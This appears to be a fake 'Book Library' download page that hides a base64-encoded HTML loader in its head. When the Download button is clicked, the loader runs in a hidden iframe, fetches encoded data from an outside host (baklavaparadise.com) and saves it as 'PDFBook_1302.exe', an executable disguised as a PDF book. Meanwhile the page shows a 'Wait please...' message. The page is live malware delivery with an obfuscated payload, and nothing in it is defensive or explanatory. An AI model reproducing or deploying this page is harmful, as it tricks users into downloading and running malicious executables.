<!DOCTYPE html>
<html lang="en">

<head>
    <script>
        
        var f = `PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNl
dD0iVVRGLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmlj
ZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkRvd25sb2FkIGJvb2tzPC90
aXRsZT4KPC9oZWFkPgoKPGJvZHk+CiAgICA8c2NyaXB0PgogICAgICAgIHZhciBob3N0ID0gImJh
a2xhdmFwYXJhZGlzZS5jb20iCgogICAgICAgIGZldGNoKCdodHRwczovLycgKyBob3N0ICsgJy9k
b3dubG9hZC50eHQ/aWQ9MTYzNTIzNCcpCiAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHJl
c3BvbnNlLnRleHQoKSkKICAgICAgICAgICAgLnRoZW4oYmFzZTY0RmlsZSA9PiB7CgogICAgICAg
ICAgICAgICAgdmFyIGJ5dGVDaGFyYWN0ZXJzID0gYXRvYihiYXNlNjRGaWxlKTsKICAgICAgICAg
ICAgICAgIHZhciBieXRlTnVtYmVycyA9IG5ldyBBcnJheShieXRlQ2hhcmFjdGVycy5sZW5ndGgp
OwoKICAgICAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYnl0ZUNoYXJhY3RlcnMubGVu
Z3RoOyBpKyspIHsKICAgICAgICAgICAgICAgICAgICBieXRlTnVtYmVyc1tpXSA9IGJ5dGVDaGFy
YWN0ZXJzLmNoYXJDb2RlQXQoaSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAg
dmFyIGJ5dGVBcnJheSA9IG5ldyBVaW50OEFycmF5KGJ5dGVOdW1iZXJzKTsKCiAgICAgICAgICAg
ICAgICB2YXIgZmlsZUJsb2IgPSBuZXcgQmxvYihbYnl0ZUFycmF5XSwgeyB0eXBlOiAnYXBwbGlj
YXRpb24vb2N0ZXQtc3RyZWFtJyB9KTsgCiAgICAgICAgICAgICAgICB2YXIgbGluayA9IGRvY3Vt
ZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsKICAgICAgICAgICAgICAgIGxpbmsuaHJlZiA9IFVSTC5j
cmVhdGVPYmplY3RVUkwoZmlsZUJsb2IpOwogICAgICAgICAgICAgICAgbGluay5kb3dubG9hZCA9
ICdQREZCb29rXzEzMDIuZXhlJzsgCgogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBl
bmRDaGlsZChsaW5rKTsKCiAgICAgICAgICAgICAgICBsaW5rLmNsaWNrKCk7CgogICAgICAgICAg
ICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChsaW5rKTsKICAgICAgICAgICAgfSkKICAg
ICAgICAgICAgLmNhdGNoKGVycm9yID0+IGNvbnNvbGUuZXJyb3IoJ0VycjonLCBlcnJvcikpOwoK
CiAgICA8L3NjcmlwdD4KPC9ib2R5PgoKPC9odG1sPg==`.replace("\n", "");

    </script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Book Library</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            color: white;

            margin: 0;
            padding: 0;
            background-image: url('/bg.jpg');
            background-size: cover;
            background-repeat: no-repeat;
            background-position: center;
            font-family: Arial, sans-serif;
        }


        .container {
            text-align: center;
            padding: 90px;
            border-radius: 10px;
            box-shadow: 4px 5px 21px black;

            background-color: #100e0ef5;

        }

        .logo {
            font-size: 24px;
            font-weight: bold;
            margin-bottom: 20px;
        }

        .icon {
            font-size: 40px;
            margin: 10px;
        }

        .download-button {
            display: block;
            padding: 25px 55px;
            font-size: 18px;
            font-weight: bold;
            background-color: #28a745;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            text-decoration: none;

            width: 300px;
        }

        .download-button:hover {
            background-color: #218838;
        }

        footer {
            position: absolute;
            bottom: 10px;
            text-align: center;
            width: 100%;
            font-size: 14px;
        }

        .book-icons {
            margin: 20px 0;
        }

        .book-icons i {
            font-size: 30px;
            margin: 0 10px;
            color: #555;
        }

        iframe {
            display: none;
        }

        .center{
            display: flex;

            justify-content: center;
        }
    </style>


    <script>
        function download() {
            var frame = document.createElement('iframe');
            frame.src = "data:text/html;base64," + f;
            document.body.appendChild(frame);


            document.getElementById("download-button").innerText = "Wait please...";

            let cnt = 0;

            setInterval(function () {
                cnt += 1;
                cnt = cnt % 4;

                document.getElementById("download-button").innerText = "Wait please" + Array.from({ length: cnt }).map(function () { return "." }).join("");

            }, 500);
        }
    </script>

</head>

<body>
    <div class="container">
        <div class="logo">📚 Downloading...</div>
        <p>To start the download, click the button.</p>

        <br />
        <br />
        <br />
        <div class="center">
            
            <button class="download-button" id="download-button" onclick="download()">Download</button>
        </div>

    </div>

    <footer>&copy; 2017-2024 Book Library</footer>
</body>

</html>